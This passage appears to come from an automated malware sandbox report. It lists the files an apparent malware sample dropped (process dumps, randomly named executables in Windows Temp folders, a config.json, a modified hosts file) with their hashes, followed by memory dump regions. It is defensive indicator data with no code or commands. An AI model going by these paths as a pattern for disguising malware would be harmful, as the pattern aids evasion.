                                                    • Path C:\Windows\TEMP\kgkufnrnc\1944.dmp
                                                    • Size 26.0MB
                                                    • SHA256 837f14dd7a71fccc9b598e01efb04f8b115c4bf28cac1770016270087143a2d9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    2172.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\2172.dmp
                                                    • Size 4.2MB
                                                    • SHA256 07312c6e50a0aa53976893947e29a69f7d2d7dc813baaa06371f51b1b1a71c3c
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    2628.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\2628.dmp
                                                    • Size 3.7MB
                                                    • SHA256 e709f2f6c4da53c8727e5326e30ecce8fbeba0484096264fd5a8828a152f4ee0
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    2804.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\2804.dmp
                                                    • Size 3.0MB
                                                    • SHA256 a61ef107cebd2c781b68db2dbeabd855085d94fce23aa6973ed7fb875960532e
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    2868.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\2868.dmp
                                                    • Size 7.6MB
                                                    • SHA256 960018f7b346d49a3f5f3a6c01f4f94fcbed8c92bd2cacdcff0c98961d8f9eff
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    3208.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\3208.dmp
                                                    • Size 814KB
                                                    • SHA256 5142d9140a35da7153a4668e2f406d74dd1f96aa29129113691b0f5bdd4efca4
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    3904.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\3904.dmp
                                                    • Size 2.7MB
                                                    • SHA256 5a72620e2173fde5c25b95311b72b66f639cba105d86b3172d7b91097ec1920e
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    3996.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\3996.dmp
                                                    • Size 21.0MB
                                                    • SHA256 434cd2e7f7dabe4e4a37fdc1f4a4432f43f7b9abee7331b7a362d84f91582701
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    4012.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\4012.dmp
                                                    • Size 1.2MB
                                                    • SHA256 a388175c2384c14c3560c398f0f358b9b4f450c48f13d176db52a99ccdfa1b9f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    4064.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\4064.dmp
                                                    • Size 8.4MB
                                                    • SHA256 5b174c3e815a1d1f82ba1c8c3baa9bb34e60af9e91bac0b875d493982ed7781f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    64.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\64.dmp
                                                    • Size 33.5MB
                                                    • SHA256 ff006886df0e859fdaf27cf0415dc04ddbd65e83cb2091b9979abb8072bd381f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    680.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\680.dmp
                                                    • Size 43.9MB
                                                    • SHA256 b35c8a689a497266278b2d52ce80445e0c1dbbaf800e7a1e65ffe28895d3d4c2
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    768.dmp

                                                    • Path C:\Windows\TEMP\kgkufnrnc\768.dmp
                                                    • Size 3.3MB
                                                    • SHA256 e52d764d040d8980a09c3d03bd5e5d960d54f0c6a84a6b269ed871a4b73fef8c
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    config.json

                                                    • Path C:\Windows\TEMP\qzebsiybv\config.json
                                                    • Size 693B
                                                    • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                    • MD5 SHA1 SHA512

                                                    zhcbccpzr.exe

                                                    • Path C:\Windows\Temp\kgkufnrnc\zhcbccpzr.exe
                                                    • Size 126KB
                                                    • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    System.dll

                                                    • Path C:\Windows\Temp\nsbD69B.tmp\System.dll
                                                    • Size 11KB
                                                    • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    nsExec.dll

                                                    • Path C:\Windows\Temp\nsbD69B.tmp\nsExec.dll
                                                    • Size 6KB
                                                    • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    bnidgq.exe

                                                    • Path C:\Windows\Temp\qzebsiybv\bnidgq.exe
                                                    • Size 343KB
                                                    • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    xohudmc.exe

                                                    • Path C:\Windows\Temp\xohudmc.exe
                                                    • Size 72KB
                                                    • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    vfshost.exe

                                                    • Path C:\Windows\kgkufnrnc\Corporate\vfshost.exe
                                                    • Size 381KB
                                                    • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    nnbuyeerm.exe

                                                    • Path C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe
                                                    • Size 332KB
                                                    • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    wpcap.exe

                                                    • Path C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe
                                                    • Size 424KB
                                                    • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    hosts

                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                    • Size 1KB
                                                    • SHA256 1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
                                                    • MD5 SHA1 SHA512

                                                    emzriir.exe

                                                    • Path C:\Windows\znrgncrv\emzriir.exe
                                                    • Size 8.9MB
                                                    • SHA256 d0c006e97225ae4572ba1a5d98e88283e8748bccb042537f8b50d51a082c14c1
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    memory/468-137-0x00007FF6D2990000-0x00007FF6D2A7E000-memory.dmp

                                                    memory/468-136-0x00007FF6D2990000-0x00007FF6D2A7E000-memory.dmp

                                                    memory/696-187-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/732-174-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/856-170-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/1132-178-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/1436-209-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/1788-196-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/1896-241-0x0000000000310000-0x0000000000322000-memory.dmp

                                                    memory/2376-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                    memory/2396-227-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/2536-223-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/2636-183-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/2680-205-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/2960-78-0x0000000001490000-0x00000000014DC000-memory.dmp

                                                    memory/3044-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                    memory/3044-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                    memory/3384-218-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/3444-200-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/3592-161-0x0000000000400000-0x0000000000412000-memory.dmp

                                                    memory/3592-151-0x0000000010000000-0x0000000010008000-memory.dmp

                                                    memory/3692-191-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/4644-229-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-167-0x000001F17BC90000-0x000001F17BCA0000-memory.dmp

                                                    memory/4644-202-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-261-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-221-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-164-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-193-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-260-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-211-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-243-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4644-181-0x00007FF7A6200000-0x00007FF7A6320000-memory.dmp

                                                    memory/4660-149-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/4660-141-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp

                                                    memory/4684-214-0x00007FF7A3370000-0x00007FF7A33CB000-memory.dmp